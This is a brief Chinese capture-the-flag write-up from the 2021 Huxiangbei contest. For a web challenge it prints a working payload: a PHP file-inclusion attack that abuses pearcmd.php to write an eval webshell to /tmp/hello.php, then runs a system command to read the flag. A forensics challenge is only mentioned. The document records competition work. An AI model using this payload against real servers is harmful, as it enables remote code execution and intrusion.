2021湖湘杯
只做了一个web,还是问了队友。misc三道题太难了。最后复盘做出来了一个。
web
easywii
队友说是p神的知识星球中的内容。后来被人打烂了。
参考链接:Docker PHP裸文件本地包含综述 - 跳跳糖 (tttang.com)
payload
?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST['a']);?>+/tmp/hello.php
然后访问/tmp/hello.php就可以访问shell了。
?+config-create+/&name=cfile&value=/tmp/hello.php
post a=system("cat /f*");
misc
某取证题
这个题,复盘做的时候,居然是量子密码爆破。
下载下来是个raw文件。队友说有专用软件,我就不凑热闹了。导出来一张图片,有半个flag。